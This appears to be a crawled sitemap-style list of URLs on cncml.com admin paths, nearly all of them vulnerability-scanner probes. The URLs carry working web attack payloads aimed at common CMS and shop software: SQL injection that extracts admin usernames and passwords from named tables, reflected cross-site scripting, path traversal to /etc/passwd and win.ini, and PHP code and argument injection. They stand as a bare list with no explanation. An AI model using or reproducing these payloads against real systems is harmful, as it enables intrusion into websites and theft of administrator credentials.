http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=&bedroom=4_100%20onmouonmouseoverseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=&bedroom=4_100%22%20onmouseover=alert(42873)%20y=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=336 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=2%20onmoonmouseoveruseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?a=lists&agent=2%22%20onmouseover=alert(42873)%20y=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?ac=order&at=list 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?ac=search&at=taglist&tagkey=%2527,tags)%20or(select%201%20from(select%20count(*),concat((select%20(select%20concat(0x7e,0x27,table_name,0x27,0x7e))%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?ac=search&at=taglist&tagkey=a%2527 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?act=coupon&area_id=&city_id=1&class_id=&class_id_1=&mall_id=&op=list&orderby=coupon_end_time&sort=-12%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x23,md5(1122),0x23,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=2&class_id_1=8&pconsume=&orderby=person_consume&sort=,(select%201%20from(select%20count(*),concat((select%20(select%20(SELECT%20CHAR(100,%2056,%20100,%2057,%2048,%2097,%2097,%2057,%2052,%2051,%20101,%2052,%2097,%20100,%20100,%2050)))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?act=index&op=list&city_id=1&area_id=&mall_id=&class_id=3&class_id_1=22&pconsume=&orderby=add_time%20asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&sort=asc 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?act=search&key=click&order=desc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23&cate_id=8 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?act=show_groupbuy&op=groupbuy_list&groupbuy_area=&groupbuy_class=&groupbuy_price=1&groupbuy_order_key=price&groupbuy_order=asc,%20(SELECT%201%20from%20(select%20count(*),concat(floor(rand(0)*2),%20md5(1122))a%20from%20information_schema.tables%20group%20by%20a)b);%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?action=article&do=show&todo=content&a=282%20AND%20(SELECT%203853%20FROM(SELECT%20COUNT(*),CONCAT(0x6366726565723A,(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)),0x3A696A783A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?action=detail&do=offer&title=%2527or%25201%253D2%2523 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?action=school&todo=content&do=-1%20and%20(select%201%20from%20%20(select%20count(*),concat(0x7c,md5(1122),0x7c,floor(rand(0)*2))x%20from%20%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?action=shop&todo=content&do=-1%20UNION%20SELECT%201,2,3,concat(0x7c,md5(1122),0x7c),5,6,7,8,9,10,11,12,13,14,15,16,17 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?action=teacher&teacher_id=(SELECT%201833%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1122),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)&todo=infor 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?app=/../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?app=user&ac=../../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?app=user&ac=plugin&in=../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?app=widget&mod=Category&act=getChild&model_name=Schedule&method=runSchedule&id%5Btask_to_run%5D=addons/Area)-%3EgetAreaList();print(md5(1122));%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?c=MTA3==&op=../../../../../../../../../../etc/passwd%00.jpg 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?c=ajax&a=member_login&template=../../ooxx.php 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?c=api&a=down&file=YWQ2OVpRcGJtL3d3NWh5WmVxbkNYbGRnZjVnalFLSXRaWkRpT1dVZmNXQ1BqNjhPeE82RkpKak1iWUZwcDZrK2tXaFZYdTRZ 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?c=api&m=data&auth=finecms&param=action%3Dcache%20name%3DSPACE-MODEL.1%27%5D%3Bprint%28md5%281122%29%29%3B%2f%2f 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?c=buylist&a=dellist&id=1%20and%20(select%201%20from%20(select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a) 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?c=com_index&m=yp&userid=12%22%3E%3Ciframe%20src=javascript:alert(42873)%3E 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?c=tj&f=include&js=/../../config.php 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?c=ueditor&f=remote_image&upfile=http://0.0.0.0/reer.php 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?caid=1&ccid12=12&fsale=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?case=../../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?case=archive&act=orders 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?case=archive&act=orders&aid%5Baid%60%3D2%20and%200%20union%20select%201,2,3,char(106),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,md5(1122),36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_user%20where%20userid%3C2%20%20--%20%20a%5D=26 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?case=archive&act=orders&aid%5Btypeid%60%3d1%20UNION%20SELECT@typeid,2,3,concat(0x7e,md5(1122),0x7e),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58%20from%20cmseasy_archive%20ORDER%20BY%201%23%5D=10 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?case=archive&act=search&keyword=webscan%25%2527%29%09union%09select%090%2C0%2C0%2Cconcat%28username%2Cpassword%29%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%2C0%09from%09cmseasy_user%09where%09groupid%3D2%09union%09SELECT%09*%09FROM%09%60cmseasy_archive%60%09WHERE%09%28title%09like%09%2527%25aaaaaaaa 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?case=manage&act=delete&manage=orders&guest=1&id=-1 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?case=tag&act=show&tag=%2522%20union%20select%200x2D3120756E696F6E2073656C65637420312C307833313239323037353645363936463645323037333635364336353633373432303331324333323243333332433644363433353238333533353332333233313331333233323239324333353243333632433337324333383243333932433331333032433331333132433331333232433331333332433331333432433331333532433331333632433331333732433331333832433331333932433332333032433332333132433332333232433332333332433332333432433332333532433332333632433332333732433332333832433332333932433333333032433333333132433333333232433333333332433333333432433333333532433333333632433333333732433333333832433333333932433334333032433334333132433334333232433334333332433334333432433334333532433334333632433334333732433334333832433334333932433335333032433335333132433335333232433335333332433335333432433335333532433335333632433335333732433335333832303636373236463644323036333644373336353631373337393546373537333635373232332C332D2D,2%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?controller=block&action=goodsCommend&id=0)%20Union%20select%201,md5(1122)%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?controller=block&action=spec_value_list&id=1%20union%20select%201,%28Select%20concat%280x5b,admin_name,0x3a,PassWord,0x5d%29%29,3,4,5,6%20from%20iwebshop_admin 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?controller=site&action=getProduct&specJSON=%7B%20%22people%22:%221'%20and%201=2%20union%20select%20md5(1122),2,3,4,5,6,7,8,9%20and%20'1'='1%22%7D 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?ctl=deals&k=pp%25%27%29and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?ctl=help&act=term%27%20and%20extractvalue%281%2Cconcat%280x5c%2Cmd5%280x7765627363616e%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?doc-summary-xxxxxxxxx%27%20and%201=2%20union%20select%201,2,3,4,5,CONCAT(0x7c,username,0x7c,password,0x7c,CHAR(119,101,98,115,99,97,110)),7,8,9,10,11,12,13,14,15,16,17,18,19,20%20from%20wiki_user%20where%20groupid=4%20limit%201%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?id=-1%7C%7C1%20group%20by%20mid(md5(1122)%20from%20rand()*10%20for%2030)having%20min(1)%23&mod=compare 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?id=product&c=project&cate=1&ext%5Bid%3C0%20union%20select%20111,2,3,4,5,6,md5(1122),8,9%20,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--%5D=1 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?index=a&skin=default/../&dataoptimize_html=/../../templates/default/images/css/metinfo.css 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?keywords=zzz333&mod=search 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?language_id=1%20and%20%20%28SELECT%201%20from%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28select%28md5%281122%29%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23&is_protect=1&action=cccc 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=Ajax&a=gettypeattr&type_id=1%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=Article&a=showByUname&uname=%2527or%25201%253D%2528select%25201%2520from%2520%2528select%2520count%2528%252a%2529%252Cconcat%2528floor%2528rand%25280%2529%252a2%2529%252C%2528select%2520md5%25281122%2529%2520from%2520fanwe_admin%2520limit%25200%252C1%2529%2529a%2520from%2520information_schema.tables%2520group%2520by%2520a%2529b%2529%2523 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=Goods&a=showByUname&uname=%2527AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=Goods&a=showcate&id=1'cfreer 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=Order&a=index 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=announcement&s=admin/notice_manager&action=modify&id=1212%20UnIon%20select%201,2,concat(user,0x7c,password),4,5,6,7,8%20from%20webscan%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=company&s=admin/exportexcel&ordrby=user%20and%201=websec%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=company&s=space_comments&uid=1and%20(SELECT%201%20from%20(selectcount(*),concat(floor(rand(0)*2),(substring((select(selEctconcat(user,0x7c,password)%20from%20b2bbuilder_admin%20limit%200,1)),1,62)))a%20frominformation_schema.tables%20group%20by%20a)b) 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=company&s=space_mail&tid=1)%20and%201=websec%20%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=message&s=inquire&userid=1)%20UnIon%20select%201,12,123%20from%20webscan%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=message&s=inquiry_basket 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=news&s=admin/news&newsid=1%20and%20(SELECT%201%20from%20websec) 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=news&s=admin/newslist&submit=%E5%88%A0%E9%99%A4&did=999%29%20and%20%28SELECT%201%20from%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28select%28selEct%20concat%28user,0x7c,password%29%20from%20f10bd198561acb0197452013b7a82429%20limit%200,1%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=poster&c=index&a=poster_click&id=1 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=search&a=public_get_suggest_keyword&url=http://www.baidu.com/&q=/../robots.txt 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=1122&description=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=video&c=video_for_ck&a=add_f_ckeditor&vid=1&title=a%E9%8C%A6%27,0,0,0,0,0,%28select%20%281%29%20from%20mysql.user%20where%201=1%20aNd%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%29%29%23 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=wap&siteid=1&a=big_image&url=aHR0cDovL3hzc3Rlc3QuY29tIiBvbmVycm9yPSJqYXZhc2NyaXB0OmFsZXJ0KDQyODczKTs= 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=yp&c=index&a=lists&areaid=12&catid=114&price=&tid=1%22%20onmouseover=prompt(42873)%20&page=1&order=1 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=yp&c=index&a=lists&areaid=37%20%20onmouseover%3Dprompt%2842873%29%20&catid=10&price=1_500&page=1&order=4 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?m=yp&c=index&a=lists&areaid=37&catid=10&price=%22%20onmouseover=prompt(42873)%20&page=1&order=4 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?mod=../admin/admin&a=list 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?mod=../admin/admin&ac=list 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?option=com_hello&controller=../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?product-%22%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20-1122-viewpic.html 0.0001 http://www.cncml.com/admin_blog/admin_s/index.php?q=1%25%2527%2520and%25201%253D2%2520%2523&do=search&action=lists&module=product 0.0001 http://www.cncml.com/admin_blog/admin_t/ 0.0007 http://www.cncml.com/admin_blog/admin_t/?%22onmouseover='prompt(42873)'bad=%22%3E 0.0001 http://www.cncml.com/admin_blog/admin_t/?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*),CONCAT(CHAR(58,100,114,108,58),(SELECT%20(CASE%20WHEN%20(4037=4037)%20THEN%201%20ELSE%200%20END)),CHAR(58,122,103,111,58),FLOOR(RAND(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a)%20AND%20(9909=9909 0.0001 http://www.cncml.com/admin_blog/admin_t/?/people/360webscan?notification_id-360webscan' 0.0001 http://www.cncml.com/admin_blog/admin_t/?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1(0x3336307765627363616e),(SELECT%20(CASE%20WHEN%20(8274=8274)%20THEN%201%20ELSE%200%20END)),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20and%20(1=1 0.0001 http://www.cncml.com/admin_blog/admin_t/?/s_tag/hehe%25%27%20union%20select%201,2,3,md5(1122),5,6,7%20from%20go_admin%23 0.0001 http://www.cncml.com/admin_blog/admin_t/?__runfile0123456789=/etc/passwd 0.0001 http://www.cncml.com/admin_blog/admin_t/?__runfile0123456789=c:%5Cwindows%5Cwin.ini 0.0001 http://www.cncml.com/admin_blog/admin_t/?action=course&do=-1%20AND%20(SELECT%202358%20FROM(SELECT%20COUNT(*),CONCAT(0x7765627363616E3A,(SELECT%20(CASE%20WHEN%20(2358=2358)%20THEN%201%20ELSE%200%20END)),0x3A66696E643A,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%23&&todo=list 0.0001 http://www.cncml.com/admin_blog/admin_t/?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version(),1,1))=53%20as%20signed) 0.0001 http://www.cncml.com/admin_blog/admin_t/?app=widget&mod=feedlist&act=getdata&maxId=111&act=loadNew&templateCacheFile=C:%5CWindows%5Cwin.ini 0.0001 http://www.cncml.com/admin_blog/admin_t/?callback=%3Cscript%3Eprompt(42873)%3C/script%3E 0.0001 http://www.cncml.com/admin_blog/admin_t/?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(42873)%20'--grid.html 0.0001 http://www.cncml.com/admin_blog/admin_t/?m=User&a=login_800&from=tuan800&sign=xxoo&qname=%27%20AND%20%28SELECT%201%20FROM%28SELECT%20COUNT%28%2a%29%2CCONCAT%28md5%280x7765627363616e%29%2CFLOOR%28RAND%280%29%2a2%29%29X%20FROM%20information_schema.tables%20GROUP%20BY%20X%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_t/?m=info&rewrite=1'%20union%20select%201,concat(0x23,md5(1122),0x23)%20from%20my_admin%20where%20id=1%20--%20a 0.0001 http://www.cncml.com/admin_blog/admin_t/?m=info.detail&id=1-webscan 0.0001 http://www.cncml.com/admin_blog/admin_t/?m=offer&s=offer_list&id=1-webscan%23 0.0001 http://www.cncml.com/admin_blog/admin_t/?m=product&s=list&key=12'%20and%201=(updatexml(1,concat(0x5e24,(select%20md5(1122)),0x5e24),1))%23 0.0001 http://www.cncml.com/admin_blog/admin_t/?m=vote&id=&vid=1,3)%20and%20%20webscan1122%23 0.0001 http://www.cncml.com/admin_blog/admin_t/?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 0.0001 http://www.cncml.com/admin_blog/admin_t/?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 0.0001 http://www.cncml.com/admin_blog/admin_t/?mod=wap&code=coupon_input&msgcode=ops-success&last%5B%5D==1%20union%20/*!select*/%201,1,1,1,1,1,1,1234567890,1%20from%20cenwor_system_members 0.0001 http://www.cncml.com/admin_blog/admin_t/?overview 0.0001 http://www.cncml.com/admin_blog/admin_t/?plugins&area=&class=u_sel&name=work_&q=areas&type=p,c&value=1/**/and/**/extractvalue(1,concat(0x5c,md5(1122)));-- 0.0001 http://www.cncml.com/admin_blog/admin_t/?plugins&q=area&name=type=p,c&area=1&area_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/admin_blog/admin_t/?plugins&q=prosite&site_id=updatexml(1,concat(md5(0x41144),user()),1) 0.0001 http://www.cncml.com/admin_blog/admin_t/?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%20-index.html 0.0001 http://www.cncml.com/admin_blog/admin_t/?question/search/%27%75nion%20select%201,2,3,4,5,6,7,8,md5(1122),10,11,12,13,14,15,16,17,18,19,20%23 0.0001 http://www.cncml.com/admin_blog/admin_t/?question/search/tag:0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/admin_blog/admin_t/?question/tag/0%27%75nion%20select%201,2,3,4,5,6,(%73elect%20concat(0x23,md5(1122),0x23)%20%66rom%20ask_user%20limit%200,1),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23.html 0.0001 http://www.cncml.com/admin_blog/admin_t/?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ 0.0001 http://www.cncml.com/admin_blog/admin_t/?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D 0.0001 http://www.cncml.com/admin_blog/admin_t/?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(sha1('360webscan'),FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/admin_blog/admin_t/?user&q=action/check_email&email=%27%20and%20%28select%201%20from%20%28select%20count%28%2a%29%2Cconcat%28md5%280x7765627363616e%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23 0.0001 http://www.cncml.com/admin_blog/admin_t/?user&q=login&&q=check_email&email=test@sec.org%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/admin_t/?user&q=login&&q=check_username&username=only_test%27%20and%20(Select%201%20from%20(Select%20count(*),concat(md5(1122),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23 0.0001 http://www.cncml.com/admin_blog/admin_t/?user-getpass-1' 0.0001 http://www.cncml.com/admin_blog/admin_t/?user-space-1' 0.0001 http://www.cncml.com/admin_blog/admin_t/?xss_test%3Ciframe%20src=javascript:this%5B%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22%5D(%2242873%22)%3E 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php/*123*/'union/**/select/**/1,2,3,4,5,6,7,8,md5(1122),10,11#&action=getatlbyid 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php/?Itemid=11&option=com_search&searchword=%f6%22%20onmouseover%3dprompt(3312)%20//&task=search 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php/Index/index/name/$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php/Site/article/id/-5724)+UNION+ALL+SELECT+11,11,11,0x63656461723A66696E643A696969696969,11,11,11,11,11,11,11,11,11#.html 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php/Site/listTpl/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php/Site/page/id/-7266)+UNION+ALL+SELECT+0x63656461723A66696E643A696969696969,NULL,NULL,NULL#.html 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php/abc-abc-abc-$%7B@exit(md5(118741911))%7D/ 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php/cms/item-comment?callback=jsonp1380096883458'%22()%26%25%3Cscript%3Eprompt(42873)%3C/script%3E&iid=114&page=1&view_page=1&_=1380096883791&_ajax_request= 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php/product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(0x7c,admin_name,0x7c,admin_pw,0x7c,sha1(0x3336307765627363616e))+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19%20and+'1'='1 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php/weblinks-categories?id=just_test 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?-dauto_prepend_file%3d/etc/passwd+-n 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?_COOKIE%5Bcfg%5D%5Bdatabase%5D=mysql&_COOKIE%5Bcfg%5D%5Bdb_host%5D=localhost&_COOKIE%5Bcfg%5D%5Bdb_user%5D=webscan&_COOKIE%5Bcfg%5D%5Bdb_pass%5D=reer&_COOKIE%5Bcfg%5D%5Bdb_name%5D=db 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=list_type&c=index&m=link&siteid='+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,unhex(Hex(cast(v9_admin.username+as+char))),0x27,0x7e)+from+%60phpcmsv9%60.v9_admin+Order+by+userid+limit+0,1)+)+from+%60information_schema%60.tables+limit+0,1),floor(rand(0)*2))x+from+%60information_schema%60.tables+group+by+x)a)+and+'1'%3D'1 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%20onmouonmouseoverseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing%22%20onmouseover=alert(42873)%20y=&m=content&page=&pay_type_int=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%20onmoonmouseoveruseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=&rent_mode=2%22%20onmouseover=alert(42873)%20y=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%20onmonmouseoverouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=&price=2000_3000%22%20onmouseover=alert(42873)%20y=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%20onmonmouseoverouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 0.0001 http://www.cncml.com/admin_blog/admin_t/index.php?a=lists&agent=&bedroom=&c=index&catid=8&city=beijing&m=content&page=&pay_type_int=4%22%20onmouseover=alert(42873)%20y=&price=&rent_mode=&zone=3363 